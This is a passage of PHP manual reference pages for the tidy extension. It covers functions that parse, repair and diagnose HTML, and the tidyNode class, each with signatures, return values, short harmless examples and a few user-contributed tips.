The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

For an explanation about each option, visit » http://tidy.sourceforge.net/docs/quickref.html.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

use_include_path

Search for the file in the include_path.

Return Values

Returns the new tidy instance.

Examples

Example #1 tidy::__construct() example

<?php

$html = <<< HTML

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><title>title</title></head>
<body>
<p>paragraph <bt />
text</p>
</body></html>

HTML;

$tidy = new tidy();
$tidy->ParseString($html);

$tidy->cleanRepair();

if ($tidy->errorBuffer) {
    echo "The following errors were detected:\n";
    echo $tidy->errorBuffer;
}

?>

The above example will output:

The following errors were detected:
line 8 column 14 - Error: <bt> is not recognized!
line 8 column 14 - Warning: discarding unexpected <bt>

See Also

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::parseString() - Parse a document stored in a string

User Contributed Notes

There are no user contributed notes for this page.


Run configured diagnostics on parsed and repaired markup

  • « tidy::__construct
  • tidy::$errorBuffer »
  • PHP Manual
  • tidy
  • Run configured diagnostics on parsed and repaired markup

tidy::diagnose

tidy_diagnose

(PHP 5, PECL tidy >= 0.5.2)

tidy::diagnose -- tidy_diagnose — Run configured diagnostics on parsed and repaired markup

Description

Object oriented style

bool tidy::diagnose ( void )

Procedural style

bool tidy_diagnose ( tidy $object )

Runs diagnostic tests on the given tidy object, adding some more information about the document in the error buffer.

Parameters

object

The Tidy object.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 tidy::diagnose() example

<?php

$html = <<< HTML
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<p>paragraph</p>
HTML;

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

// note the difference between the two outputs
echo $tidy->errorBuffer . "\n";

$tidy->diagnose();
echo $tidy->errorBuffer;

?>

The above example will output:

line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
line 4 column 1 - Warning: <p> isn't allowed in <head> elements
line 4 column 1 - Warning: inserting missing 'title' element
Info: Doctype given is "-//W3C//DTD XHTML 1.0 Strict//EN"
Info: Document content looks like XHTML 1.0 Strict
2 warnings, 0 errors were found!

See Also

  • tidy::errorBuffer()

User Contributed Notes

There are no user contributed notes for this page.


Return warnings and errors which occurred parsing the specified document

  • « tidy::diagnose
  • tidy::getConfig »
  • PHP Manual
  • tidy
  • Return warnings and errors which occurred parsing the specified document

tidy::$errorBuffer

tidy_get_error_buffer

(PHP 5, PECL tidy >= 0.5.2)

tidy::$errorBuffer -- tidy_get_error_buffer — Return warnings and errors which occurred parsing the specified document

Description

Object oriented style (property):

string $tidy->errorBuffer;

Procedural style:

string tidy_get_error_buffer ( tidy $tidy )

Returns warnings and errors which occurred parsing the specified document.

Parameters

tidy

The Tidy object.

Return Values

Returns the error buffer as a string.

Examples

Example #1 tidy_get_error_buffer() example

<?php
$html = '<p>paragraph</p>';

$tidy = tidy_parse_string($html);

echo tidy_get_error_buffer($tidy);
/* or in OO: */
echo $tidy->errorBuffer;
?>

The above example will output:

line 1 column 1 - Warning: missing <!DOCTYPE> declaration
line 1 column 1 - Warning: inserting missing 'title' element

See Also

  • tidy_access_count() - Returns the Number of Tidy accessibility warnings encountered for specified document
  • tidy_error_count() - Returns the Number of Tidy errors encountered for specified document
  • tidy_warning_count() - Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

david dot tulloh at infaze dot com dot au 12-May-2005 07:42
The following line will convert string error into a two dimensional array containing the components from the error string for each line.  It will match Error, Warning, Info and Access error types.  You can then do something useful with the output.

<?php
preg_match_all('/^(?:line (\d+) column (\d+) - )?(\S+): (?:\[((?:\d+\.?){4})]:)
?(.*?)$/m', $tidy->errorBuffer, $tidy_errors, PREG_SET_ORDER);
?>

And a small tip, always run the error messages through htmlentities when outputting to convert the tags in the error to a viewable form.


Get current Tidy configuration

  • « tidy::$errorBuffer
  • tidy::getHtmlVer »
  • PHP Manual
  • tidy
  • Get current Tidy configuration

tidy::getConfig

tidy_get_config

(PHP 5, PECL tidy >= 0.7.0)

tidy::getConfig -- tidy_get_config — Get current Tidy configuration

Description

Object oriented style

array tidy::getConfig ( void )

Procedural style

array tidy_get_config ( tidy $object )

Gets the list of the configuration options in use by the given tidy object.

Parameters

object

The Tidy object.

Return Values

Returns an array of configuration options.

For an explanation about each option, visit » http://tidy.sourceforge.net/docs/quickref.html.

Examples

Example #1 tidy::getConfig() example

<?php
$html = '<p>test</p>';
$config = array('indent' => TRUE,
                'output-xhtml' => TRUE,
                'wrap' => 200);

$tidy = tidy_parse_string($html, $config);

print_r($tidy->getConfig());
?>

The above example will output:

Array
(
    [indent-spaces] => 2
    [wrap] => 200
    [tab-size] => 8
    [char-encoding] => 1
    [input-encoding] => 3
    [output-encoding] => 1
    [newline] => 1
    [doctype-mode] => 1
    [doctype] =>
    [repeated-attributes] => 1
    [alt-text] =>
    [slide-style] =>
    [error-file] =>
    [output-file] =>
    [write-back] =>
    [markup] => 1
    [show-warnings] => 1
    [quiet] =>
    [indent] => 1
    [hide-endtags] =>
    [input-xml] =>
    [output-xml] => 1
    [output-xhtml] => 1
    [output-html] =>
    [add-xml-decl] =>
    [uppercase-tags] =>
    [uppercase-attributes] =>
    [bare] =>
    [clean] =>
    [logical-emphasis] =>
    [drop-proprietary-attributes] =>
    [drop-font-tags] =>
    [drop-empty-paras] => 1
    [fix-bad-comments] => 1
    [break-before-br] =>
    [split] =>
    [numeric-entities] =>
    [quote-marks] =>
    [quote-nbsp] => 1
    [quote-ampersand] => 1
    [wrap-attributes] =>
    [wrap-script-literals] =>
    [wrap-sections] => 1
    [wrap-asp] => 1
    [wrap-jste] => 1
    [wrap-php] => 1
    [fix-backslash] => 1
    [indent-attributes] =>
    [assume-xml-procins] =>
    [add-xml-space] =>
    [enclose-text] =>
    [enclose-block-text] =>
    [keep-time] =>
    [word-2000] =>
    [tidy-mark] =>
    [gnu-emacs] =>
    [gnu-emacs-file] =>
    [literal-attributes] =>
    [show-body-only] =>
    [fix-uri] => 1
    [lower-literals] => 1
    [hide-comments] =>
    [indent-cdata] =>
    [force-output] => 1
    [show-errors] => 6
    [ascii-chars] => 1
    [join-classes] =>
    [join-styles] => 1
    [escape-cdata] =>
    [language] =>
    [ncr] => 1
    [output-bom] => 2
    [replace-color] =>
    [css-prefix] =>
    [new-inline-tags] =>
    [new-blocklevel-tags] =>
    [new-empty-tags] =>
    [new-pre-tags] =>
    [accessibility-check] => 0
    [vertical-space] =>
    [punctuation-wrap] =>
    [merge-divs] => 1
)

See Also

  • tidy_reset_config() - Restore Tidy configuration to default values
  • tidy_save_config() - Save current settings to named file

User Contributed Notes

There are no user contributed notes for this page.


Get the Detected HTML version for the specified document

  • « tidy::getConfig
  • tidy::getOpt »
  • PHP Manual
  • tidy
  • Get the Detected HTML version for the specified document

tidy::getHtmlVer

tidy_get_html_ver

(PHP 5, PECL tidy >= 0.5.2)

tidy::getHtmlVer -- tidy_get_html_ver — Get the Detected HTML version for the specified document

Description

Object oriented style

int tidy::getHtmlVer ( void )

Procedural style

int tidy_get_html_ver ( tidy $object )

Returns the detected HTML version for the specified tidy object.

Parameters

object

The Tidy object.

Return Values

Returns the detected HTML version.

Warning

This function is not yet implemented in the Tidylib itself, so it always return 0.

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of the specified configuration option for the tidy document

  • « tidy::getHtmlVer
  • tidy::getOptDoc »
  • PHP Manual
  • tidy
  • Returns the value of the specified configuration option for the tidy document

tidy::getOpt

tidy_getopt

(PHP 5, PECL tidy >= 0.5.2)

tidy::getOpt -- tidy_getopt — Returns the value of the specified configuration option for the tidy document

Description

Object oriented style

mixed tidy::getOpt ( string $option )

Procedural style

mixed tidy_getopt ( tidy $object , string $option )

Returns the value of the specified option for the specified tidy object.

Parameters

object

The Tidy object.

option

You will find a list with each configuration option and their types at: » http://tidy.sourceforge.net/docs/quickref.html.

Return Values

Returns the value of the specified option. The return type depends on the type of the specified one.

Examples

Example #1 tidy_getopt() example

<?php

$html ='<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html><head><title>Title</title></head>
<body>

<p><img src="img.png"></p>

</body></html>';

$config = array('accessibility-check' => 3,
                'alt-text' => 'some text');

$tidy = new tidy();
$tidy->parseString($html, $config);

var_dump($tidy->getOpt('accessibility-check')); //integer
var_dump($tidy->getOpt('lower-literals')); //boolean
var_dump($tidy->getOpt('alt-text')); //string

?>

The above example will output:

int(3)
bool(true)
string(9) "some text"

User Contributed Notes

There are no user contributed notes for this page.


Returns the documentation for the given option name

  • « tidy::getOpt
  • tidy::getRelease »
  • PHP Manual
  • tidy
  • Returns the documentation for the given option name

tidy::getOptDoc

tidy_get_opt_doc

(PHP 5 >= 5.1.0)

tidy::getOptDoc -- tidy_get_opt_doc — Returns the documentation for the given option name

Description

Object oriented style

string tidy::getOptDoc ( string $optname )

Procedural style

string tidy_get_opt_doc ( tidy $object , string $optname )

tidy_get_opt_doc() returns the documentation for the given option name.

Note:

You need at least libtidy from 25 April, 2005 for this function be available.

Parameters

object

The Tidy object.

optname

The option name

Return Values

Returns a string if the option exists and has documentation available, or FALSE otherwise.

Examples

Example #1 Print all options along with their documentation and default value

<?php

$tidy = new tidy;
$config = $tidy->getConfig();

ksort($config);

foreach ($config as $opt => $val) {

    if (!$doc = $tidy->getOptDoc($opt))
        $doc = 'no documentation available!';

    $val = ($tidy->getOpt($opt) === true)  ? 'true'  : $val;
    $val = ($tidy->getOpt($opt) === false) ? 'false' : $val;

    echo "<p><b>$opt</b> (default: '$val')<br />".
         "$doc</p><hr />\n";
}

?>

See Also

  • tidy::getconfig() - Get current Tidy configuration
  • tidy::getopt() - Returns the value of the specified configuration option for the tidy document

User Contributed Notes

There are no user contributed notes for this page.


Get release date (version) for Tidy library

  • « tidy::getOptDoc
  • tidy::getStatus »
  • PHP Manual
  • tidy
  • Get release date (version) for Tidy library

tidy::getRelease

tidy_get_release

(PHP 5, PECL tidy >= 0.5.2)

tidy::getRelease -- tidy_get_release — Get release date (version) for Tidy library

Description

Object oriented style

string tidy::getRelease ( void )

Procedural style

string tidy_get_release ( void )

Gets the release date of the Tidy library.

Return Values

Returns a string with the release date of the Tidy library.

User Contributed Notes

There are no user contributed notes for this page.


Get status of specified document

  • « tidy::getRelease
  • tidy::head »
  • PHP Manual
  • tidy
  • Get status of specified document

tidy::getStatus

tidy_get_status

(PHP 5, PECL tidy >= 0.5.2)

tidy::getStatus -- tidy_get_status — Get status of specified document

Description

Object oriented style

int tidy::getStatus ( void )

Procedural style

int tidy_get_status ( tidy $object )

Returns the status for the specified tidy object.

Parameters

object

The Tidy object.

Return Values

Returns 0 if no error/warning was raised, 1 for warnings or accessibility errors, or 2 for errors.

Examples

Example #1 tidy::getStatus() example

<?php
$html = '<p>paragraph</i>';
$tidy = new tidy();
$tidy->parseString($html);

$tidy2 = new tidy();
$html2 = '<bogus>test</bogus>';
$tidy2->parseString($html2);

echo $tidy->getStatus(); //1

echo $tidy2->getStatus(); //2
?>

User Contributed Notes

There are no user contributed notes for this page.


Returns a tidyNode object starting from the <head> tag of the tidy parse tree

  • « tidy::getStatus
  • tidy::html »
  • PHP Manual
  • tidy
  • Returns a tidyNode object starting from the <head> tag of the tidy parse tree

tidy::head

tidy_get_head

(PHP 5, PECL tidy 0.5.2-1.0.0)

tidy::head -- tidy_get_head — Returns a tidyNode object starting from the <head> tag of the tidy parse tree

Description

Object oriented style

tidyNode tidy::head ( void )

Procedural style

tidyNode tidy_get_head ( tidy $object )

Returns a tidyNode object starting from the <head> tag of the tidy parse tree.

Parameters

object

The Tidy object.

Return Values

Returns the tidyNode object.

Examples

Example #1 tidy::head() example

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$head = $tidy->head();
echo $head->value;
?>

The above example will output:

<head>
<title>test</title>
</head>

Notes

Note: This function is only available with Zend Engine 2 (PHP >= 5.0.0).

See Also

  • tidy::body() - Returns a tidyNode object starting from the <body> tag of the tidy parse tree
  • tidy::html() - Returns a tidyNode object starting from the <html> tag of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.


Returns a tidyNode object starting from the <html> tag of the tidy parse tree

  • « tidy::head
  • tidy::isXhtml »
  • PHP Manual
  • tidy
  • Returns a tidyNode object starting from the <html> tag of the tidy parse tree

tidy::html

tidy_get_html

(PHP 5, PECL tidy 0.5.2-1.0.0)

tidy::html -- tidy_get_html — Returns a tidyNode object starting from the <html> tag of the tidy parse tree

Description

Object oriented style

tidyNode tidy::html ( void )

Procedural style

tidyNode tidy_get_html ( tidy $object )

Returns a tidyNode object starting from the <html> tag of the tidy parse tree.

Parameters

object

The Tidy object.

Return Values

Returns the tidyNode object.

Examples

Example #1 tidy::html() example

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$html = $tidy->html();
echo $html->value;
?>

The above example will output:

<html>
<head>
<title>test</title>
</head>
<body>
<p>paragraph</p>
</body>
</html>

Notes

Note: This function is only available with Zend Engine 2 (PHP >= 5.0.0).

See Also

  • tidy::body() - Returns a tidyNode object starting from the <body> tag of the tidy parse tree
  • tidy::head() - Returns a tidyNode object starting from the <head> tag of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.


Indicates if the document is a XHTML document

  • « tidy::html
  • tidy::isXml »
  • PHP Manual
  • tidy
  • Indicates if the document is a XHTML document

tidy::isXhtml

tidy_is_xhtml

(PHP 5, PECL tidy >= 0.5.2)

tidy::isXhtml -- tidy_is_xhtml — Indicates if the document is a XHTML document

Description

Object oriented style

bool tidy::isXhtml ( void )

Procedural style

bool tidy_is_xhtml ( tidy $object )

Tells if the document is a XHTML document.

Parameters

object

The Tidy object.

Return Values

This function returns TRUE if the specified tidy object is a XHTML document, or FALSE otherwise.

Warning

This function is not yet implemented in the Tidylib itself, so it always return FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Indicates if the document is a generic (non HTML/XHTML) XML document

  • « tidy::isXhtml
  • tidy::parseFile »
  • PHP Manual
  • tidy
  • Indicates if the document is a generic (non HTML/XHTML) XML document

tidy::isXml

tidy_is_xml

(PHP 5, PECL tidy >= 0.5.2)

tidy::isXml -- tidy_is_xml — Indicates if the document is a generic (non HTML/XHTML) XML document

Description

Object oriented style

bool tidy::isXml ( void )

Procedural style

bool tidy_is_xml ( tidy $object )

Tells if the document is a generic (non HTML/XHTML) XML document.

Parameters

object

The Tidy object.

Return Values

This function returns TRUE if the specified tidy object is a generic XML document (non HTML/XHTML), or FALSE otherwise.

Warning

This function is not yet implemented in the Tidylib itself, so it always return FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Parse markup in file or URI

  • « tidy::isXml
  • tidy::parseString »
  • PHP Manual
  • tidy
  • Parse markup in file or URI

tidy::parseFile

tidy_parse_file

(PHP 5, PECL tidy >= 0.5.2)

tidy::parseFile -- tidy_parse_file — Parse markup in file or URI

Description

Object oriented style

bool tidy::parseFile ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )

Procedural style

tidy tidy_parse_file ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )

Parses the given file.

Parameters

filename

If the filename parameter is given, this function will also read that file and initialize the object with the file, acting like tidy_parse_file().

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

For an explanation about each option, see » http://tidy.sourceforge.net/docs/quickref.html.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

use_include_path

Search for the file in the include_path.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 tidy::parseFile() example

<?php
$tidy = new tidy();
$tidy->parseFile('file.html');

$tidy->cleanRepair();

if(!empty($tidy->errorBuffer)) {
    echo "The following errors or warnings occurred:\n";
    echo $tidy->errorBuffer;
}
?>

Notes

Note: The optional parameters config and encoding were added in Tidy 2.0.

See Also

  • tidy::parsestring() - Parse a document stored in a string
  • tidy::repairfile() - Repair a file and return it as a string
  • tidy::repairstring() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.


Parse a document stored in a string

  • « tidy::parseFile
  • tidy::repairFile »
  • PHP Manual
  • tidy
  • Parse a document stored in a string

tidy::parseString

tidy_parse_string

(PHP 5, PECL tidy >= 0.5.2)

tidy::parseString -- tidy_parse_string — Parse a document stored in a string

Description

Object oriented style

bool tidy::parseString ( string $input [, mixed $config [, string $encoding ]] )

Procedural style

tidy tidy_parse_string ( string $input [, mixed $config [, string $encoding ]] )

Parses a document stored in a string.

Parameters

input

The data to be parsed.

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

For an explanation about each option, visit » http://tidy.sourceforge.net/docs/quickref.html.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

Return Values

Returns a new tidy instance.

Examples

Example #1 tidy::parseString() example

<?php
ob_start();
?>

<html>
  <head>
   <title>test</title>
  </head>
  <body>
   <p>error<br>another line</i>
  </body>
</html>

<?php

$buffer = ob_get_clean();
$config = array('indent' => TRUE,
                'output-xhtml' => TRUE,
                'wrap' => 200);

$tidy = tidy_parse_string($buffer, $config, 'UTF8');

$tidy->cleanRepair();
echo $tidy;
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <title>
      test
    </title>
  </head>
  <body>
    <p>
      error<br />
      another line
    </p>
  </body>
</html>

Notes

Note: The optional parameters config and encoding were added in Tidy 2.0.

See Also

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::repairFile() - Repair a file and return it as a string
  • tidy::repairString() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.


Repair a file and return it as a string

  • « tidy::parseString
  • tidy::repairString »
  • PHP Manual
  • tidy
  • Repair a file and return it as a string

tidy::repairFile

tidy_repair_file

(PHP 5, PECL tidy >= 0.7.0)

tidy::repairFile -- tidy_repair_file — Repair a file and return it as a string

Description

Object oriented style

string tidy::repairFile ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )

Procedural style

string tidy_repair_file ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )

Repairs the given file and returns it as a string.

Parameters

filename

The file to be repaired.

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

Check http://tidy.sourceforge.net/docs/quickref.html for an explanation about each option.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

use_include_path

Search for the file in the include_path.

Return Values

Returns the repaired contents as a string.

Examples

Example #1 tidy::repairFile() example

<?php
$file = 'file.html';

$tidy = new tidy();
$repaired = $tidy->repairfile($file);
rename($file, $file . '.bak');

file_put_contents($file, $repaired);
?>

Notes

Note: The optional parameters config and encoding were added in Tidy 2.0.

See Also

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::parseString() - Parse a document stored in a string
  • tidy::repairString() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.


Repair a string using an optionally provided configuration file

  • « tidy::repairFile
  • tidy::root »
  • PHP Manual
  • tidy
  • Repair a string using an optionally provided configuration file

tidy::repairString

tidy_repair_string

(PHP 5, PECL tidy >= 0.7.0)

tidy::repairString -- tidy_repair_string — Repair a string using an optionally provided configuration file

Description

Object oriented style

string tidy::repairString ( string $data [, mixed $config [, string $encoding ]] )

Procedural style

string tidy_repair_string ( string $data [, mixed $config [, string $encoding ]] )

Repairs the given string.

Parameters

data

The data to be repaired.

config

The config config can be passed either as an array or as a string. If a string is passed, it is interpreted as the name of the configuration file, otherwise, it is interpreted as the options themselves.

Check » http://tidy.sourceforge.net/docs/quickref.html for an explanation about each option.

encoding

The encoding parameter sets the encoding for input/output documents. The possible values for encoding are: ascii, latin0, latin1, raw, utf8, iso2022, mac, win1252, ibm858, utf16, utf16le, utf16be, big5, and shiftjis.

Return Values

Returns the repaired string.

Examples

Example #1 tidy::repairString() example

<?php
ob_start();
?>

<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>error</i>
  </body>
</html>

<?php

$buffer = ob_get_clean();
$tidy = new tidy();
$clean = $tidy->repairString($buffer);

echo $clean;
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title>test</title>
</head>
<body>
<p>error</p>
</body>
</html>

Notes

Note: The optional parameters config and encoding were added in Tidy 2.0.

See Also

  • tidy::parseFile() - Parse markup in file or URI
  • tidy::parseString() - Parse a document stored in a string
  • tidy::repairFile() - Repair a file and return it as a string

User Contributed Notes

dan-dot-hunsaker-at-gmail-dot-com 17-Jul-2011 01:49
The docs referenced at http://tidy.sourceforge.net/docs/quickref.html above state that the configuration option 'sort-attributes' is an enumeration of 'none' and 'alpha', thereby specifying that strings of either form are the acceptable values.  This may not be the case, however - on my system, the option was not honored until I set it to true.  This may also be the case with other options, so experiment a bit.  The output of tidy::getConfig() may be useful in this regard.
gnuffo1 at gmail dot com 23-Aug-2010 02:44
You can also use this function to repair xml, for example if stray ampersands etc are breaking it:

<?php
$xml = tidy_repair_string($xml, array(
    'output-xml' => true,
    'input-xml' => true
));
?>


Returns a tidyNode object representing the root of the tidy parse tree

  • « tidy::repairString
  • tidyNode »
  • PHP Manual
  • tidy
  • Returns a tidyNode object representing the root of the tidy parse tree

tidy::root

tidy_get_root

(PHP 5, PECL tidy 0.5.2-1.0.0)

tidy::root -- tidy_get_root — Returns a tidyNode object representing the root of the tidy parse tree

Description

Object oriented style

tidyNode tidy::root ( void )

Procedural style

tidyNode tidy_get_root ( tidy $object )

Returns a tidyNode object representing the root of the tidy parse tree.

Parameters

object

The Tidy object.

Return Values

Returns the tidyNode object.

Examples

Example #1 tidy::root() example

<?php

$html = <<< HTML
<html><body>

<p>paragraph</p>
<br/>

</body></html>
HTML;

$tidy = tidy_parse_string($html);
dump_nodes($tidy->root(), 1);

function dump_nodes($node, $indent) {

    if($node->hasChildren()) {
        foreach($node->child as $child) {
            echo str_repeat('.', $indent*2) . ($child->name ? $child->name : '"'.$child->value.'"'). "\n";

            dump_nodes($child, $indent+1);
        }
    }
}
?>

The above example will output:

..html
....head
......title
....body
......p
........"paragraph"
......br

Notes

Note: This function is only available with Zend Engine 2 (PHP >= 5.0.0).

User Contributed Notes

There are no user contributed notes for this page.


The tidyNode class

(PHP 5 >= 5.0.1)

Introduction

An HTML node in an HTML file, as detected by tidy.

Class synopsis

tidyNode {
/* Properties */
string $value;
string $name;
int $type;
int $line;
int $column;
bool $proprietary;
int $id;
array $attribute;
array $child;
/* Methods */
tidyNode getParent ( void )
bool hasChildren ( void )
bool hasSiblings ( void )
bool isAsp ( void )
bool isComment ( void )
bool isHtml ( void )
bool isJste ( void )
bool isPhp ( void )
bool isText ( void )
}

Properties

value

The HTML representation of the node, including the surrounding tags.

name

The name of the HTML node

type

The type of the tag (one of the constants above, e.g. TIDY_NODETYPE_PHP)

line

The line number at which the tags is located in the file

column

The column number at which the tags is located in the file

proprietary

Indicates if the node is a proprietary tag

id

The ID of the tag (one of the constants above, e.g. TIDY_TAG_FRAME)

attribute

An array of string, representing the attributes names (as keys) of the current node.

child

An array of tidyNode, representing the children of the current node.

Version | Description
5.1.0 | line, column and proprietary were added

Table of Contents

  • tidyNode::getParent — Returns the parent node of the current node
  • tidyNode::hasChildren — Checks if a node has children
  • tidyNode::hasSiblings — Checks if a node has siblings
  • tidyNode::isAsp — Checks if this node is ASP
  • tidyNode::isComment — Checks if a node represents a comment
  • tidyNode::isHtml — Checks if a node is part of a HTML document
  • tidyNode::isJste — Checks if this node is JSTE
  • tidyNode::isPhp — Checks if a node is PHP
  • tidyNode::isText — Checks if a node represents text (no markup)

User Contributed Notes

There are no user contributed notes for this page.


Returns the parent node of the current node

  • « tidyNode
  • tidyNode::hasChildren »
  • PHP Manual
  • tidyNode
  • Returns the parent node of the current node

tidyNode::getParent

(PHP 5 >= 5.2.2)

tidyNode::getParent — Returns the parent node of the current node

Description

tidyNode tidyNode::getParent ( void )

Returns the parent node of the current node.

Examples

Example #1 tidyNode::hasChildren() example

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
 </head>
 <body>
 Hello World
 </body>
</html>

HTML;

$tidy = tidy_parse_string($html);
$num = 0;

$node = $tidy->html()->child[0]->child[0];

var_dump($node->getparent()->name);
?>

The above example will output:

string(4) "head"

Return Values

Returns a tidyNode if the node has a parent, or NULL otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node has children

  • « tidyNode::getParent
  • tidyNode::hasSiblings »
  • PHP Manual
  • tidyNode
  • Checks if a node has children

tidyNode::hasChildren

(PHP 5 >= 5.0.1)

tidyNode::hasChildren — Checks if a node has children

Description

bool tidyNode::hasChildren ( void )

Tells if the node has children.

Return Values

Returns TRUE if the node has children, FALSE otherwise.

Examples

Example #1 tidyNode::hasChildren() example

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// the head tag
var_dump($tidy->html()->child[0]->hasChildren());

// the php inside the head tag
var_dump($tidy->html()->child[0]->child[0]->hasChildren());

?>

The above example will output:

bool(true)
bool(false)

Notes

Note:

This function was named tidy_node::has_children() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node has siblings

  • « tidyNode::hasChildren
  • tidyNode::isAsp »
  • PHP Manual
  • tidyNode
  • Checks if a node has siblings

tidyNode::hasSiblings

(PHP 5 >= 5.0.1)

tidyNode::hasSiblings — Checks if a node has siblings

Description

bool tidyNode::hasSiblings ( void )

Tells if the node has siblings.

Return Values

Returns TRUE if the node has siblings, FALSE otherwise.

Examples

Example #1 tidyNode::hasSiblings() example

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

// the html tag
var_dump($tidy->html()->hasSiblings());

// the head tag
var_dump($tidy->html()->child[0]->hasSiblings());

?>

The above example will output:

bool(false)
bool(true)

Notes

Note:

This function was named tidy_node::has_siblings() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.


Checks if this node is ASP

  • « tidyNode::hasSiblings
  • tidyNode::isComment »
  • PHP Manual
  • tidyNode
  • Checks if this node is ASP

tidyNode::isAsp

(PHP 5 >= 5.0.1)

tidyNode::isAsp — Checks if this node is ASP

Description

bool tidyNode::isAsp ( void )

Tells whether the current node is ASP.

Return Values

Returns TRUE if the node is ASP, FALSE otherwise.

Examples

Example #1 Extract ASP code from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
  /* ASP code */
  response.write("Hello World!")
%>

<!-- Comments -->
Hello World
</body></html>
Outside HTML
HTML;

$tidy = tidy_parse_string($html);
$num = 0;

get_nodes($tidy->html());

function get_nodes($node) {

    // check if the current node is of requested type
    if($node->isAsp()) {
        echo "\n\n# asp node #" . ++$GLOBALS['num'] . "\n";
        echo $node->value;
    }

    // check if the current node has childrens
    if($node->hasChildren()) {
        foreach($node->child as $child) {
            get_nodes($child);
        }
    }
}

?>

The above example will output:

# asp node #1
<%
  /* ASP code */
  response.write("Hello World!")
%>

Notes

Note:

This function was named tidy_node::is_asp() in PHP 4/Tidy 1.

User Contributed Notes

There are no user contributed notes for this page.


Checks if a node represents a comment

  • « tidyNode::isAsp
  • tidyNode::isHtml »
  • PHP Manual
  • tidyNode
  • Checks if a node represents a comment

tidyNode::isComment

(PHP 5 >= 5.0.1)

tidyNode::isComment — Checks if a node represents a comment

Description

bool tidyNode::isComment ( void )

Tells if the node is a comment.

Return Values

Returns TRUE if the node is a comment, FALSE otherwise.

Examples

Example #1 Extract comments from a mixed HTML document

<?php

$html = <<< HTML
<html><head>
<?php echo '<title>title</title>'; ?>
<#
  /* JSTE code */
  alert('Hello World');
#>
</head>
<body>

<?php
  // PHP code
  echo 'hello world!';
?>

<%
